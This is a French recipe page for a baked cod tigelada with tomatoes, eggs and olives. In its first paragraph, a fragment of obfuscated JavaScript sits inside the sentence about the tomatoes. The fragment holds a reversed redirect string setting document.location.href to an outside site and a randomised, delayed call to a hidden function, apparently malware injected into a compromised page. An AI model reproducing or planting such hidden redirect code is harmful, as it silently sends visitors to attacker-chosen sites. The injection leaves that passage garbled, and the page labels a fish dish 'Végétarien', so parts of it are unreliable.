Ti gelada de morue
2018-01-02- Cuisine : Poissons
- Thématique : Végétarien
- Niveau : Difficile
Pelez, coupez en deux les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates. Ôtez les graines et les hacher..
Faites pocher la morue dans une eau frémissante non salée. Ôtez la peau et les arêtes. Effilez la morue. Faites fondre les oignons et l’ail dans l’huile d’olive sans les faire colorer.
Ingrédients
- Pour 4 personnes
- 500 g de tomates fraîches hachées
- 500 g de morue dessalée
- 1 tasse d'huile d'olive
- 3 oignons hachés
- 3 gousses d'ail hachées
- 2 cuillères à soupe de coriandre fraîche hachée
- 6 œufs entiers
- 3 cuillères à soupe de maïzena
- 100 g de gruyère râpé
- 12 olives vertes
- Sel - Poivre du moulin
Préparation de la recette
Etape 1
Pelez, coupez en deux les tomates. Ôtez les graines et les hacher. Faites pocher la morue dans une eau frémissante non salée. Ôtez la peau et les arêtes.
Etape 2
Effilez la morue. Faites fondre les oignons et l'ail dans l'huile d'olive sans les faire colorer.
Etape 3
Incorporez les tomates, la coriandre, salez, poivrez. La morue effilée. Laissez refroidir. Réservez.
Etape 4
Battez les œufs en incorporant la maïzena. Incorporez dans la préparation. Bien mélanger.
Etape 5
Versez dans un plat à gratin beurré. Préchauffez le four à 180° C thermostat 6.
Etape 6
Enfournez et faites cuire pendant 30 minutes. Vérifiez la cuisson. Sortez du four le tigelada de morue. Répartissez les olives. Dégustez.
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